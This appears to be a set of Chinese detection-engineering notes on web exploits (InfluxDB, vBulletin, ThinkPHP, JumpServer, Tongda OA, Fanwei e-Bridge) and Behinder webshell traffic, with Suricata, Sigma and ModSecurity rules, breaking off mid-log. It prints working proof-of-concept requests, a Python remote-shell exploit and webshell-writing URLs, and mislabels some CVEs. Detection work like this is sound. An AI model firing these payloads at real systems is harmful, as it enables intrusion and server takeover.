# T1190-Influxdb<1.7.6未授权访问漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
InfluxDB是一个使用Go语言编写的开源分布式,支持高并发的时序数据库,其使用JWT作为鉴权方式。在用户开启了认证,但未设置参数shared-secret的情况下,JWT的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
影响版本:Influxdb < 1.7.6
## 检测日志
HTTP
## 测试复现
具体测试过程请参考:
## 测试留痕
```
yml
POST /query HTTP/1.1
Host: 10.7.2.106:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjE2MjM5MDIyfQ.9ZTT-ppj20hPXZaUoSxTWf0Mei-idhAU2FaoaQgJJm8
Accept-Language: zh-CN,zh;q=0.9,be;q=0.8
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 26
db=sample&q=show+users
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Type: application/json
Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.6.6
X-Request-Id: 19c6cf88-1a5b-11eb-800c-000000000000
Date: Fri, 30 Oct 2020 02:53:34 GMT
Connection: close
Transfer-Encoding: chunked
69
..........,.=
. .D...So..^E$H.BP...Fr.`....{.....!N.e....Z...e....h...pe.!.^......*~.L.S..~w......8..c...
0
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"Influxdb<1.7.6未授权访问";flow:established,to_server;content:"POST";http_method;content:"/query";http_uri;content:"db=sample&q=show+users";http_client_body;reference:url,blog.csdn.net/weixin_43416469/article/details/113843301;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
influxdb未授权访问漏洞
================================================
FILE: Web/long time/T1190-IvBulletin5.X-RCE检测.md
================================================
# T1190-vBulletin5.X-RCE检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2015-7808漏洞
vBulletin是用PHP编写的可定制的论坛程序套件。
vBulletin 5.1.4-5.1.9版本,某些内部API处理Ajax请求时,未验证其来源,这可使攻击者无需身份验证调用继承自vB_Api及/core/vb/api/下任意类的任意公共方法,其中decodeArguments()方法内的unserialize()函数存在安全漏洞,可使攻击者在‘$args’变量中注入精心构造的任意对象,远程执行php代码,获取服务器权限。
### 影响版本
VBulletin 5.1.4 - 5.1.9
### 测试案例
请参考:
vBulletin5.X前台RCE分析(CVE-2015-7808)
vBulletin 5 全版本远程代码执行漏洞分析
### 检测日志
访问日志
### 测试复现
```
yml
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A17%3A%22vB_Database_MySQL%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A6%3A%22assert%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bs%3A9%3A%22phpinfo%28%29%22%3B%7D HTTP/1.1
Host: 192.168.0.106
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
```
解码后:
```
yml
GET /vBulletin/ajax/api/hook/decodeArguments?arguments=O:12:"vB_dB_Result":2:{s:5:"*db";O:17:"vB_Database_MySQL":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:9:"phpinfo()";} HTTP/1.1
```
### 测试留痕
暂无
### 检测规则/思路
sigma规则
```
yml
title: vBulletin5.X-CVE-2015-7808-RCE-检测规则
description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/16
status: experimental
references:
- https://xz.aliyun.com/t/6497
logsource:
category: webserver
detection:
selection:
c-uri:
- '*/ajax/api/hook/decodeArguments?arguments=*'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
## CVE-2019-16759
近期,vBulletin披露了一个最新的0 day漏洞细节,这个漏洞分配的CVE编号为CVE-2019-16759。与此同时,Unit 42的安全研究人员也在网上发现了有很多攻击者正在利用该漏洞来实施攻击。在该漏洞的帮助下,未经身份验证的攻击者将能够访问和控制运行了v5.0.0至v5.5.4版本vBulletin的服务器,并且阻止网络管理员访问这些服务器。目前,使用了vBulletin的网站数量大约有10万多个,其中包括很多大型企业、组织和论坛,因此该漏洞应当立刻被修复。
### 影响范围
仅影响 vBulletin 5.x 版本
### 测试记录
请参考:
CVE-2019-16759漏洞在野利用
CVE-2019-16759 vBulletin 5.x RCE 复现
CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞
### 检测日志类型
访问日志 OR HTTP.log
### 测试复现过程
POC1
```
yml
http://IP/?routestring=ajax%2Frender%2Fwidget_php&widgetConfig[code]=phpinfo();exit;
```
POC2:CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞
```
python
import requests
import sys
if len(sys.argv) != 2:
sys.exit("Usage: %s " % sys.argv[0])
proxies ={
"http":"http://127.0.0.1:8080/"
}
params = {"routestring":"ajax/render/widget_php"}
while True:
try:
cmd = raw_input(">>>Shell= ")
params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"');echo md5('vBulletin'); exit;"
r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
if r.status_code == 200 or r.status_code ==403 and 'be4ea51d962be8308a0099ae1eb3ec63' in r.text:
print
print r.text.split('be4ea51d962be8308a0099ae1eb3ec63')[0]
else:
sys.exit("Exploit failed! :(")
except KeyboardInterrupt:
sys.exit("\nClosing shell...")
except Exception, e:
sys.exit(str(e))
```
### 测试痕迹
暂无,但可查看攻击报文样例辅助安全人员研判是否为攻击行为,较简单的场景。
### 检测规则
sigma规则
```
yml
title: vBulletin5.X-CVE-2015-7808-RCE-检测规则
description: 通过访问日志检测CVE-2015-7808远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/16
status: experimental
references:
- https://github.com/jas502n/CVE-2019-16759
- https://blog.csdn.net/weixin_41064688/article/details/108060313
logsource:
category: webserver
detection:
selection1:
c-uri:
- '*?routestring=ajax%2Frender%2Fwidget_php&widgetConfig*' #匹配此特征
selection2:
body:
- '*routestring=ajax/render/widget_php&widgetConfig[code]=die(@mid5(*))' #根据报文内容进行判断,多为post
condition: selection1 or selection2
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
## 备注
在进行部分攻击日志分析时,遇到此漏洞特征,仅做记录。
## 参考推荐
MITRE-ATT&CK-T1190
vBulletin5.X前台RCE分析(CVE-2015-7808)
vBulletin 5 全版本远程代码执行漏洞分析
CVE-2019-16759漏洞在野利用
CVE-2019-16759 vBulletin 5.x RCE 复现
CVE-2019-16759 vBulletin 5.x 未授权远程代码执行漏洞
================================================
FILE: Web/long time/T1190-JumpServer v2.6.1 RCE攻击检测.md
================================================
# T1190-JumpServer v2.6.1 RCE攻击检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## JumpServer v2.6.1 RCE(远程代码执行)
JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机.
2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。
### 影响版本
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
### 测试案例
请参考:
JumpServer v2.6.1 RCE(远程代码执行) 复现总结
Jumpserver-RCE复现及告警规则
### 检测日志
访问日志
### 测试复现
请参考:
JumpServer v2.6.1 RCE(远程代码执行) 复现总结
### 测试留痕
暂无
### 检测规则/思路
modsecurity判定规则
在这种场景下,基本上看到这个uri请求我们就可以断言这是一个报警,因此编写规则如下:
SecRule REQUEST_URI "/ws/ops/tasks/log" "id:11111111,phase:1,id:52,t:none,t:urlDecode,t:lowercase,t:normalizePath,msg:'jump-rce'"
## 备注
本文内容多数摘自互联网网络,未经过本人实际环境测试,慎重上线使用。
ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。
## 参考推荐
MITRE-ATT&CK-T1190
JumpServer v2.6.1 RCE(远程代码执行) 复现总结
Jumpserver-RCE复现及告警规则
================================================
FILE: Web/long time/T1190-Thinkphp 5.x远程命令执行检测.md
================================================
# T1190-Thinkphp 5.x远程命令执行漏洞检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## CVE-2020-16875漏洞
### 简介
ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。
### 影响版本
5.x < 5.1.31, <= 5.0.23
## 测试案例
漏洞分析及漏洞利用可参考Thinkphp 5.x远程命令执行漏洞:
## 检测日志
HTTP_log,访问日志也可以
## 测试复现
1.利用system函数远程命令执行
```
yml
http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
```
2.通过phpinfo函数写出phpinfo()的信息
```
yml
http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
```
3.写入shell:
```
yml
http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
```
或者
```
yml
http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
```
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```
yml
title: Thinkphp 5.x远程命令执行漏洞
description: 通过访问日志orHttp.log检测Thinkphp 5.x远程命令执行漏洞利用行为
translator: 12306Bro
date: 2020/12/12
status: experimental
references:
- https://www.cnblogs.com/backlion/p/10106676.html
logsource:
category: webserver
detection:
selection:
c-uri:
- '/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- Unknown
level: critical
```
## 备注
在具体业务场景下遇到,特记录。可以根据具体payload来判断是否为真实攻击。
## 参考推荐
MITRE-ATT&CK-T1190
Thinkphp 5.x远程命令执行漏洞:
================================================
FILE: Web/long time/T1190-泛微OA任意文件读取.md
================================================
# T1190-泛微OA任意文件读取
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
泛微云桥(e-Bridge)是上海泛微公司在”互联网+”的背景下研发的一款用于桥接互联网开放资源与企业信息化系统的系统集成中间件。泛微云桥存在任意文件读取漏洞,攻击者成功利用该漏洞,可实现任意文件读取,获取敏感信息。
### 影响范围
2018-2019多个版本
## 检测日志
HTTP
## 测试复现
第一步:/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt(windows)、使用/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt(linux)获取返回包有id字符串;
第二步:通过id值获取文件内容(/file/fileNoLogin/id)
## 测试留痕
可参看此文章:
## 检测规则/思路
### Suricata规则
```
yml
alert http any any -> any any (msg:"泛微OA任意文件读取-rsq";flow:established,to_server;content:"GET";http_method;content:"/wxjsapi/saveYZJFile?fileName=test&downloadUrl=";startswith;pcre:"/&fileExt=txt/";flowbits:set,first_get_rsq;noalert;http_uri;reference:url,www.cnblogs.com/yuzly/p/13677238.html;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"泛微OA任意文件读取-resp";flow:established,to_client;content:"200";http_stat_code;content:"filepath";http_server_body;flowbits:isset,first_get_rsq;flowbits:set,first_get_resp;noalert;sid:2;rev:1;)
alert http any any -> any any (msg:"泛微OA任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/file/fileNoLogin/";http_uri;flowbits:isset,first_get_resp;sid:3;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为
## 参考推荐
MITRE-ATT&CK-T1190
泛微云桥e-Bridge-任意文件读取漏洞
================================================
FILE: Web/long time/T1190-通达V11.6-RCE.md
================================================
# T1190-通达V11.6-RCE漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“ 利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。
该exp会删除uth.inc.php文件导致OA系统系统异常。
目前已知受影响版本:V11.6
## 检测日志
HTTP.log
## 测试复现
漏洞复现建议参考以下文章
## 测试留痕
可自行本地测试抓取流量
## 检测规则/思路
### Sigma规则
建议使用HTTP流量+安全设备进行检测分析判断攻击是否成功。
```
yml
title: 通达OA v11.6 RCE
description: 检测通达OA v11.6 RCE漏洞
author: 12306Bro
date: 2020/08/19
status: experimental
references:
- https://www.cnblogs.com/L0ading/p/13529013.html
logsource:
category: webserver
detection:
selection1:
c-uri:
- '//module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php' #响应包状态码为200
- '//inc/auth.inc.php' #响应包状态码为404,意味着删除成功
http.request.method: 'GET' #请求方法为GET
User-Agent: 'python-requests/*' #PY脚本自带
selection2:
c-uri:
- '//general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./' #响应包状态码为200
http.request.method: 'POST' #请求方法为POST
User-Agent: 'python-requests/*' #PY脚本自带
Content-Disposition: form-data; name="FILE1"; filename="*.php" #写入shell文件
condition: selection1 or selection2 #当条件1和条件2出现任意一个时,意味着你可能正在遭受探测性攻击,如果在短时间内出现了条件1后,出现了条件2,并且返回包状态码为200,意味着攻击正在发生,可能入侵成功。
falsepositives:
- Unknown
level: critical
```
此规则检测颗粒度较细,建议根据数据源等实际情况进行调整。
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1190
最新通达OA11.6版本前台getshell漏洞复现
================================================
FILE: Web/long time/T1505-003-webshell-冰蝎v2.0.md
================================================
# T1505-003-webshell-冰蝎
## 来自ATT&CK的描述
Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。
## 测试案例
PHP网站(Phpstudy+DVWA)
冰蝎V1.0/V2.0(客户端+自带shell)
wireshark(必备)
## 检测日志
HTTP流量
## 测试复现
利用DVWA相关漏洞,上传冰蝎默认webshell,利用冰蝎客户端对webshell进行管理,抓取冰蝎客户端与web服务器上的脚本之间的通讯流量。
## 测试留痕
### 冰蝎V1.0
#### 1)正常流量
**GET请求包**a
GET /1.php HTTP/1.1
Host: 192.168.66.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer:
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
**GET请求返回包**a
HTTP/1.1 200 OK
Date: Tue, 20 Aug 2019 02:50:43 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 4
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
test
**POST请求包**a
POST /DVWA/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.66.136
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
DNT: 1
Connection: keep-alive
Referer:
Cookie: security=low; PHPSESSID=190krorgsuckk0elaa1tk0v891
Upgrade-Insecure-Requests: 1
ip=127.0.0.1+%26%26+whoami&Submit=Submit
**POST返回包**a
HTTP/1.1 200 OK
Date: Tue, 20 Aug 2019 02:52:47 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 5161
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
!DOCTYPE html PUBLIC "-//W3C//DTD(此处省略更多字符信息)
#### 2)冰蝎客户端与服务端通信流量
GET请求包
```
pacp
GET /shell.php?pass=1 HTTP/1.1
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
```
GET返回包
HTTP/1.1 200 OK
Date: Sun, 21 Jul 2019 02:51:55 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
f52eb8c003a3991b
POST请求包
```
pacp
POST /shell.php HTTP/1.1
Content-Type: application/octet-stream
Cookie: null;PHPSESSID=6dclf3mic9i86q7r6snpk34ef1; path=/
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_211
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1624
D3dH8lwIFCCGYS9Yca (此处省略加密字符信息)
```
POST返回包
HTTP/1.1 200 OK
Date: Sun, 21 Jul 2019 02:51:55 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
1f4c0(此处省略加密字符信息)
#### 3)正常流量VS冰蝎通讯流量
从中可以看到冰蝎V1.0版本在初期交互通讯时,特征较为明显,user-agent与正常业务流量明显不同。可以通过对**user-agent**进行检测分析。其次在POST返回包中相对正常流量多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。
### 冰蝎V2.1
从冰蝎V1.1开始新增随机UserAgent支持,每次会话会从17种常见UserAgent中随机选取。冰蝎最新版本为V2.1,可以通过对2.1版本服务端与客户端的通信流量,进行捕获,对比正常流量进行分析。
#### 1)正常流量a
**GET请求包**a
同冰蝎V1.0章节
**GET请求返回包**a
同冰蝎V1.0章节
**POST请求包**a
同冰蝎V1.0章节
**POST返回包**a
同冰蝎V1.0章节
#### 2)冰蝎客户端与服务端通信流量a
**GET请求包**a
```
pacp
GET /DVWA/hackable/uploads/shell.php?pass=673 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
**GET请求返回包**a
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2019 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Set-Cookie: PHPSESSID=m0agat42tmo0i4srnda5ssfq94; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
03befc81cbefda94
```
POST请求包
```
pcap
POST /DVWA/hackable/uploads/shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bv5lv0681hq09ggt8rfj1peio5; path=/
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.66.136
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 2220
ltEi32XJreSl8Y5Hhzk08Wgjfe8bLPr3x8n4qlJ(此处省略加密字符信息)
```
POST返回包
HTTP/1.1 200 OK
Date: Mon, 19 Aug 2019 09:34:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
21dc0gfUOcrBcH7jint5L0pmkDxT5ypIbjLnIsXnDxHGjofQk3g(此处省略加密字符信息)
### 3)正常流量VS冰蝎通讯流量a
通过对比可以看到,冰蝎V2.1在初期交互通讯时流量中多了**Transfer-Encoding: chunked**,Transfer-Encoding主要是用来改变报文格式,这里指的是利用分块进行传输。你可以基于此特征值进行检测,当然,你也可以用更简单的方法进行检测,比如url中包含**.php?pass=**来进行检测。
## 检测特征/思路
### 冰蝎V1.0a
基于GET请求包的检测特征:url包含.php?pass=,useragent包含Java/*;
基于POST请求包的检测特征:useragent包含Java/* ,返回包包含:Transfer-Encoding: chunked;
### 冰蝎V2.1a
基于GET请求包的检测特征:url包含.php?pass=;(如果与业务冲突,误报较大)
基于POST返回包的检测特征:Transfer-Encoding: chunked;
## 相关TIP
[[T1505-003-webshell-冰蝎v3.0]]
[[T1505-003-windows下webshell检测]]
[[T1505-003-web服务产生的可疑进程]]
## 参考推荐
MITRE-ATT&CK-T1505-003
冰蝎下载地址
================================================
FILE: Web/long time/T1505-003-webshell-冰蝎v3.0.md
================================================
# T1505-003-webshell-冰蝎
## 来自ATT&CK的描述
Webshell是一个Web脚本,放置在可公开访问的Web服务器上,允许攻击者将Web服务器用作网络的网关。 Web shell可以提供多种功能,如虚拟终端、文件管理、数据库连接等。 除了服务器端脚本之外,Webshell可能还有一个客户端接口程序,用于与管理Web服务器的通信(例如,中国菜刀、C刀、蚁剑、冰蝎等)。
## 测试案例
暂无,可自行本地测试;
## 检测日志
HTTP流量
## 测试复现
暂无,建议自行本地测试;
## 测试留痕
暂无,建议本地自行测试,抓取流量数据;
## 检测规则/思路
### suricata规则
参考来源:
```
yml
alert http any any -> any any (msg: "Behinder3 PHP HTTP Request"; flow: established, to_server; content:".php"; http_uri; pcre:"/[a-zA-Z0-9+/]{1000,}=/i"; flowbits:set,behinder3;noalert; classtype:shellcode-detect; sid: 3016017; rev: 1; metadata:created_at 2020_08_17,by al0ne;)
alert http any any -> any any (msg: "Behinder3 PHP HTTP Response"; flow: established,to_client; content:"200"; http_stat_code; flowbits: isset,behinder3; pcre:"/[a-zA-Z0-9+/]{100,}=/i"; classtype:shellcode-detect; sid: 3016018; rev: 1; metadata:created_at 2020_08_17,by al0ne;)
```
### 自定义检测规则
```
yml
自定义规则进行防护:(uri_path * rco \.(jsp|jspx|php)$)&&(method * belong POST)&&(request_body * req ^[\w+/]{1000,}=?=?$)
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1505-003
冰蝎3.0流量特征分析附特征
冰蝎的前世今生:3.0新版本下的一些防护思考
================================================
FILE: Windows/00其他/T*-win-使用User_Del删除用户.md
================================================
# T*-Win-使用User_Del删除用户
## 测试案例
参考下文中提到的User_Del.exe程序删除用户。
作用:删除用户
用法:User_Del.exe Username
## 检测日志
Windows安全日志/sysmon日志
## 测试复现
测试环境说明:Windows server 2012
```shell
C:\Windows_API_Tools-main>net user wang TOpsec.098 /add
命令成功完成。
C:\Windows_API_Tools-main>User_Del.exe wang
success
```
## 测试留痕
Windows sysmon EventID:1 进程创建
```log
Process Create:
RuleName: technique_id=T1059,technique_name=Command-Line Interface
UtcTime: 2022-03-24 08:43:02.668
ProcessGuid: {4a363fee-2f16-623c-79a3-4e0000000000}
ProcessId: 4084
Image: C:\Windows_API_Tools-main\User_Del.exe
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: User_Del.exe wang
CurrentDirectory: C:\Windows_API_Tools-main\
User: WEIDONG\Administrator
LogonGuid: {4a363fee-2447-623c-df16-080000000000}
LogonId: 0x816DF
TerminalSessionId: 1
```
windows security EventID:4733、4729、4726
```log
4733
已从启用了安全性的本地组中删除某个成员。
使用者:
安全 ID: WEIDONG\Administrator
帐户名: Administrator
帐户域: WEIDONG
登录 ID: 0x816DF
成员:
安全 ID: WEIDONG\wang
帐户名: -
组:
安全 ID: BUILTIN\Users
组名: Users
组域: Builtin
附加信息:
4729
已从启用了安全性的全局组中删除某个成员。
使用者:
